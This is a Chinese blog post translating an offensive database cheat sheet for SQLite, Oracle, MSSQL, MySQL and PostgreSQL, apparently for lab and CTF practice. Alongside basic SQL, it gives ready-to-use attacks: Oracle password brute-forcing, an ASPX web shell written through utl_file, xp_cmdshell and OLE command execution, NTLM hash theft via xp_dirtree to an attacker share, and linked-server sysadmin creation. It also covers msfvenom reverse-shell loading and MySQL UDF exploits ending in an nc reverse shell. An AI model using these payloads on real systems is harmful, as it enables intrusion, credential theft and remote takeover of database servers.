数据库攻防-h4rithd-2024.05.09版本

笔记说明:

该笔记是国外进攻性爱好者 h4rithd 在 gitbook 上记录的备忘笔记,我整体翻译了注释的内容,并根据个人打靶学习情况,增加或删除了一部分内容,至此放置博客上留作后续复习使用,以及方便各位浏览到我博客的安全爱好者参考使用。

SQLite

00.基本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
## ------------------| Open database
sqlite3 <db_file.sqlite3>

## ------------------| 配置显示输出
.headers on
.mode table --wrap 200 --wordwrap off --noquote
.mode column # Displays each row in a table-like format, with column headers separated from the data.
.mode list # Displays each row as a list of values, with columns separated by a pipe character.
.mode line # Similar to list mode, but displays each row on a separate line
.mode csv # Outputs query results in Comma-Separated Values format, which can be useful for exporting data.
.mode insert # Formats query results as SQL INSERT statements, which can be used to insert the data back into another table.
.mode html # Outputs query results in HTML table format, which can be useful for web applications or reporting.
.mode ascii # Displays query results in a simple ASCII text format.
.mode box # Formats query results into a box-like structure.
.mode json # Outputs query results in JSON format.
.mode markdown # Formats query results in Markdown syntax.
.mode qbox # Variant of the box mode, providing a different style for box-like formatting.
.mode quote # This mode quotes all values, including NULLs, to make them safe for use in other SQL statements.
.mode table # This mode formats query results as a plain-text table, similar to the output of a spreadsheet.
.mode tabs # This mode separates columns with tabs, suitable for importing into spreadsheet applications or text editors.
.mode tcl # Formats query results as a TCL list, suitable for integration with TCL scripts or applications.

## ------------------| List all databaeses
.databases

## ------------------| Show Tables
.tables
SELECT name FROM sqlite_master WHERE type='table';

## ------------------| Show Columns
PRAGMA table_info(<TB_NAME>);

## ------------------| Show data
select * from <TB_NAME>;

## ------------------| Exit
.q

Oracle SQL | 1521

Oracle SQL 备忘单

  • 扫描 SID
1
odat sidguesser -s 10.10.10.82
  • 暴力破解密码
1
odat passwordguesser -s 10.10.10.82 -d XE --accounts-file /usr/share/odat/accounts/accounts.txt
  • 登录SQPLUS数据库
1
2
3
4
5
6
7
8
9
10
11
12
## ------------------| Setup
sudo apt-get install oracle-instantclient-sqlplus
which sqlplus
export ORACLE_HOME=/usr/lib/oracle/19.6/client64/
export LD_LIBRARY_PATH=$ORACLE_HOME/lib
export PATH=$ORACLE_HOME/bin:$PATH

## ------------------| Login as user
sqlplus <USERNAME>/'<PASSWORD>'@<IP>:1521/XE

## ------------------| Login as superuser
sqlplus scott/tiger@10.10.10.82:1521/XE as sysdba
  • SQLPLUSS 查询数据
1
2
select * from session_privs;
select * from user_role_privs;
  • 读取文件
1
2
3
4
5
6
7
8
9
10
11
12
13
set serveroutput ON

declare
f utl_file.file_type;
s varchar(5000);
begin
f := utl_file.fopen('/inetpub/wwwroot','iisstart.htm','R');
utl_file.get_line(f,s);
utl_file.fclose(f);
dbms_output.put_line(s);
end;

# 点击回车,然后键入“/”并点击回车
  • 写入文件
1
2
3
4
5
6
7
8
9
10
declare
f utl_file.file_type;
s varchar(5000) := 'h4rithd was there';
begin
f := utl_file.fopen('/inetpub/wwwroot','h4rith.txt','W');
utl_file.put_line(f,s);
utl_file.fclose(f);
end;

# 点击回车,然后键入“/”并点击回车
  • 编写绑定外壳。 (aspx)
1
2
3
4
5
6
7
8
9
10
declare
f utl_file.file_type;
s varchar(5000) := '<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = "cmd.exe";psi.Arguments = "/c "+arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}void cmdExe_Click(object sender, System.EventArgs e){Response.Write("<pre>");Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));Response.Write("</pre>");}</script><HTML><body ><form id="cmd" method="post" runat="server"><asp:TextBox id="txtArg" runat="server" Width="250px"></asp:TextBox><asp:Button id="testing" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button><asp:Label id="lblText" runat="server">Command:</asp:Label></form></body></HTML>';
begin
f := utl_file.fopen('/inetpub/wwwroot','h4rithd.aspx','W');
utl_file.put_line(f,s);
utl_file.fclose(f);
end;

# 点击回车,然后键入“/”并点击回车

MSSQL / MYSQL / PSQL

SQL/MYSQL 备忘单

00.基本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
## ------------------| Create Database
CREATE DATABASE <DB_NAME>;

## ------------------| Create Table
CREATE TABLE <TABLE_NAME> (
<VARIABLE> <DATA_TYPE>,
<VARIABLE> <DATA_TYPE>,
);

## ------------------| Create user and password
CREATE USER '<USER>'@'<IP>' IDENTIFIED BY '<PASSWORD>';

## ------------------| Show Database / Tables
SHOW DATABASES;
SHOW TABLES;

## ------------------| Select Database / Table
USE <DB_NAME>;
DESCRIBE <TABLE_NAME>;

## ------------------| 删除表
DROP TABLE <TABLE_NAME>;

## ------------------| 更改查询
### Add new column
ALTER TABLE <TABLE_NAME> ADD <VARIABLE> <DATA_TYPE>;
### Rename a column
ALTER TABLE <TABLE_NAME> RENAME COLUMN <NEW_VARIABLE> TO <OLD_VARIABLE>;
### Change a column
ALTER TABLE <TABLE_NAME> MODIFY <OLD_VARIABLE> DATE;
### Drop, Delete a column
ALTER TABLE <TABLE_NAME> DROP <VARIABLE>;

## ------------------| Update queries
UPDATE <TABLE_NAME> SET column1=newvalue1, column2=newvalue2, ... WHERE <condition>;

## ------------------| 排序查询
SELECT * FROM <TABLE_NAME> ORDER BY <VARIABLE> DESC, <VARIABLE> ASC;

## ------------------| Limit query
SELECT * FROM <TABLE_NAME> LIMIT <VALUE>,<VALUE>;

## ------------------| Filter or search for specific data,
SELECT * FROM <TABLE_NAME> WHERE <condition>;

## ------------------| Matching a certain pattern
SELECT * FROM <TABLE_NAME> WHERE <VARIABLE> LIKE '<REGEX>'; ## __ or %%

## ------------------| Insert data to table
INSERT INTO <TABLE_NAME> VALUES (<COL-01_VALUE>,<COL-02_VALUE>, ...);
INSERT INTO <TABLE_NAME>(<COL-01>, <COL-02>, ...) VALUES (<COL-01_VALUE>,<COL-02_VALUE>, ...);

## ------------------| View the table
SELECT * FROM <TABLE_NAME>;
SELECT <COL-01>, <COL-02> FROM <TABLE_NAME>;

## ------------------| Table Properties
### Uniquely identify propertie
PRIMARY KEY (<VARIABLE>)
### Automatically Increments
<VARIABLE> INT NOT NULL AUTO_INCREMENT,
### Always unique.
<VARIABLE> <DATA_TYPE> UNIQUE NOT NULL,
### Set the default value
<VARIABLE> <DATA_TYPE> DEFAULT NOW(),

## ------------------| Grannt Privileges
GRANT ALL ON <DB_NAME>.* TO '<USER>'@'<IP>';
FLUSH PRIVILEGES;

01.MSSQL

  • 基本的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
## ------------------| Login to the database
impacket-mssqlclient admin:'m$$ql_S@_P@ssW0rd!'@10.10.10.52
impacket-mssqlclient admin:'m$$ql_S@_P@ssW0rd!'@10.10.10.52 -windows-auth

## ------------------| Execute commands with impacket-mssqlclient
enable_xp_cmdshell
xp_cmdshell whoami

## ------------------| Execute commands with CrackMapExec
crackmapexec mssql <IP> -u <UserName> -p <Password> -x "whoami" # CMD command
crackmapexec mssql <IP> -u <UserName> -H <HASH> -X 'whoami' # PowerShell

## ------------------| Enable xp_cmdshell manually
SELECT IS_SRVROLEMEMBER ('sysadmin');
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"

## ------------------| Steel NTLM Hash
sudo responder -I tun0
EXEC xp_dirtree '\\10.10.14.38\h4rithd'
DECLARE @h varchar(200);SET @h='\\10.10.14.38\h4rithd'; EXEC master.dbo.xp_dirtree @h;
## Crack
hashcat -m 5600 hash.txt wordlist.txt
john hash.txt -w=wordlist.txt

## ------------------| Enable external scripts
EXECUTE sp_configure 'external scripts enabled', 1;
RECONFIGURE
EXEC sp_execute_external_script @language = N'Python', @script = N'print("Hello harith");';
EXEC sp_execute_external_script @language = N'Python', @script = N'import os; os.system("whoami");';
  • 枚举
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
## ------------------| Nmap Scripts
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>

## ------------------| Metasploit Modules
## Steal NTLM hash, before executing run Responder
use auxiliary/admin/mssql/mssql_ntlm_stealer
## Info gathering
use admin/mssql/mssql_enum
use admin/mssql/mssql_enum_domain_accounts
use admin/mssql/mssql_enum_sql_logins
use auxiliary/admin/mssql/mssql_findandsampledata
use auxiliary/scanner/mssql/mssql_hashdump
use auxiliary/scanner/mssql/mssql_schemadump
## Search for insteresting data
use auxiliary/admin/mssql/mssql_findandsampledata
use auxiliary/admin/mssql/mssql_idf
## Privesc
use exploit/windows/mssql/mssql_linkcrawler
## If the user has IMPERSONATION privilege, this will try to escalate
use admin/mssql/mssql_escalate_execute_as
## Escalate from db_owner to sysadmin
use admin/mssql/mssql_escalate_dbowner
## Execute commands
use admin/mssql/mssql_exec
## Uploads and execute a payload
use exploit/windows/mssql/mssql_payload
## Add new admin user from meterpreter session
use windows/manage/mssql_local_auth_bypass
  • 常用命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
## ------------------| Connet
sqlcmd -U <UserName> -P '<Password>' -Q "sp_databases"
sqlcmd -U <UserName> -P '<Password>' -Q 'USE <DATABASE>; select * from users;'

## ------------------| List all databases
SELECT name FROM master.dbo.sysdatabases;
select name from sysdatabases;
EXEC sp_databases;

## ------------------| List Tables
select table_name,table_schema from <DB_NAME>.INFORMATION_SCHEMA.TABLES;
SELECT name FROM <DBNAME>..sysobjects WHERE xtype = 'U';

## ------------------| List Column Names
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'table_name');
SELECT table_name, column_name FROM information_schema.columns;
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE_NAME>' ORDER BY ORDINAL_POSITION
EXEC sp_columns '<TABLE_NAME>'

## ------------------| Export data
EXEC xp_cmdshell 'bcp "SELECT * FROM sysfiles" queryout "C:\dump-data.txt" -T -c -t,'

## ------------------| Search text in stored procedure in SQL Server
SELECT name FROM sys.procedures WHERE Object_definition(object_id) LIKE '%flag%';

## ------------------| Other
select name,sysadmin from syslogins;
SELECT schema_name FROM information_schema.schemata;

## ------------------| Check links
select srvname, isremote from sysservers; <-- value 1 is remote 0 is linked
exec ('select current_user') at [linkd_name];
exec ('select name,sysadmin from syslogins') at [linkd_name];
exec ('EXEC (''EXEC sp_addlogin ''''h4rithd'''', ''''harith!1'''''') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
exec ('EXEC (''EXEC sp_addsrvrolemember ''''h4rithd'''', ''''sysadmin'''''') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\EXEC POO_CONFIG];

## ------------------| Enable Command Execution
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure reconfigure;
EXEC sp_configure 'xp_cmdshell', 1;
EXEC sp_configure reconfigure;

## ------------------| Command Execution
EXEC master.dbo.xp_cmdshell 'cmd';
EXEC xp_cmdshell 'cmd';

## ------------------| Enable Alternative Command Execution
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure reconfigure;
EXEC sp_configure 'OLE Automation Procedures', 1;
EXEC sp_configure reconfigure;

## ------------------| Alternative Command Execution
DECLARE @execmd INT;
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT;
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%system32cmd.exe /c';

## ------------------| RunAs
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'password', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');
EXECUTE AS USER = 'FooUser';

## ------------------| Read file (MSSQL)
BULK INSERT dbo.temp FROM 'c:flag.txt' WITH ( ROWTERMINATOR='n' );
DECLARE @h varchar(200);SET @h='\\10.10.14.38\h4rithd'; EXEC master.dbo.xp_dirtree @h;
  • MDF 文件位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
## SQL Server 2019 --> MSSQL15.XXXXXX
## SQL Server 2017 --> MSSQL14.XXXXXX
## SQL Server 2016 --> MSSQL13.XXXXXX
## SQL Server 2014 --> MSSQL12.XXXXXX

## ------------------| For example : SQL Server 2019
C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Backup\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Backup\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\mastlog.ldf
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\mastlog.ldf
C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\tempdb.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\tempdb.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\MSDBData.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\MSDBData.mdf
  • MDF Extracting
1
2
3
4
5
6
7
8
git clone https://github.com/xpn/Powershell-PostExploitation.git
cd Powershell-PostExploitation/Invoke-MDFHashes
## Edit following lines on Get-MDFHashes.ps1 file
[System.Reflection.Assembly]::UnsafeLoadFrom($PSScriptRoot + "\OrcaMDF.RawCore.dll") | Out-Null
[System.Reflection.Assembly]::UnsafeLoadFrom($PSScriptRoot + "\OrcaMDF.Framework.dll") | Out-NUll
pwsh
. .\Get-MDFHashes.ps1
Get-MDFHashes -mdf master.mdf

02.MySQL

  • MySQL [MariaDB] 常见
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
## ------------------| Remote Connect 
mysql -u <USER> -h <IP> -P <PORT> -p

## ------------------| Config files
/etc/mysql/mariadb.conf.d/50-server.cnf

## ------------------| Backup
mysqldump -u <USER> -p drupal > drupal_backup.sql

## ------------------| Import
mysql -u <USER> -p drupal < drupal_backup.sql

## ------------------| Reset password
sudo service mysql stop
sudo mkdir /var/run/mysqld
sudo chown mysql: /var/run/mysqld
sudo mysqld_safe --skip-grant-tables --skip-networking &
mysql -u root
FLUSH PRIVILEGES;
UPDATE mysql.user SET authentication_string=PASSWORD('toor'), plugin='mysql_native_password' WHERE User='root' AND Host='localhost';
# ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'password';
FLUSH PRIVILEGES;
SELECT user,authentication_string,plugin,host FROM mysql.user;
EXIT;
sudo mysqladmin -S /var/run/mysqld/mysqld.sock shutdown
sudo service mysql start
任务 询问
列出数据库 SHOW DATABASES;
更改活动数据库 USE dbname;
更改为“系统”数据库 USE mysql;
显示活动数据库中的表 SHOW TABLES;
显示表属性 DESCRIBE tablename;
列出所有用户 SELECT user,host,password FROM mysql.user;
列出数据库 SELECT host,db,user FROM mysql.db;

03.PostgreSQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
## ------------------| Connect to database
psql -h 127.0.0.1 -U <USER_NAME> <DB_NAME>
### Using php
<?php
$conn = pg_connect("host=127.0.0.1 dbname=<DBName> user=<UserName> password=<PassWord>");
$result = pg_query($conn, "SELECT * FROM <DBName>");
$output = pg_fetch_all($result); print_r($output);
?>

## ------------------| List database information

sudo apt update && sudo apt install psql
psql -U christine -h localhost -p 1234
\l
\c secrets
\dt
SELECT * FROM flag;

\d
\dt
\dp <-- permisions

select * from <TABLE_NAME>

04.常见漏洞

1
2
3
4
5
6
7
8
9
## ------------------| Check version
SELECT VERSION();

## ------------------| Create the reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o exploit.so
### Copy the payload to the target machine

## ------------------| Execute the payload
mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/exploit.so";'

04.1 用户自定义函数

  • 5.5.5-10.3.20-MariaDB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
## ------------------| Enum
show variables like '%plugin%';
show variables like '%secure_file_priv%'; ## this should return null or empty

## ------------------| Setup
git clone https://github.com/mysqludf/lib_mysqludf_sys && cd lib_mysqludf_sys
sudo apt install -y default-libmysqlclient-dev
wget https://deb.sipwise.com/debian/pool/main/m/mariadb-10.3/libmariadb-dev_10.3.23-0+deb10u1_amd64.deb
sudo dpkg -i ./libmariadb-dev_10.3.23-0+deb10u1_amd64.de
rm lib_mysqludf_sys.so
gcc -Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
xxd -p lib_mysqludf_sys.so | tr -d '\n' > lib_mysqludf_sys.so.hex

## ------------------| Execute
set @shell = 0x<SHLLCODE>
select @@plugin_dir;
select binary @shell into dumpfile '<plugin_dir>/udf_sys_exec.so';
drop function sys_exec;
create function sys_exec returns int soname 'udf_sys_exec.so';
select * from mysql.func where name='sys_exec';
select sys_exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> 443 >/tmp/f');
  • mysql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
## ------------------| Enum
show variables like '%plugin%';
show variables like '%secure_file_priv%'; ## this should return null or empty

## ------------------| Setup
wget https://www.exploit-db.com/raw/1518 -O raptor_udf2.c
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

## ------------------| Execute
mysql -u root -p
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
select * from foo into dumpfile '<plugin_dir_path>/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('ping -c 2 <IP>');

数据库攻防-h4rithd-2024.05.09版本
https://sh1yan.top/2024/06/02/Database-Offensive-Technology-h4rithd-20240509/
作者
shiyan
发布于
2024年6月2日
许可协议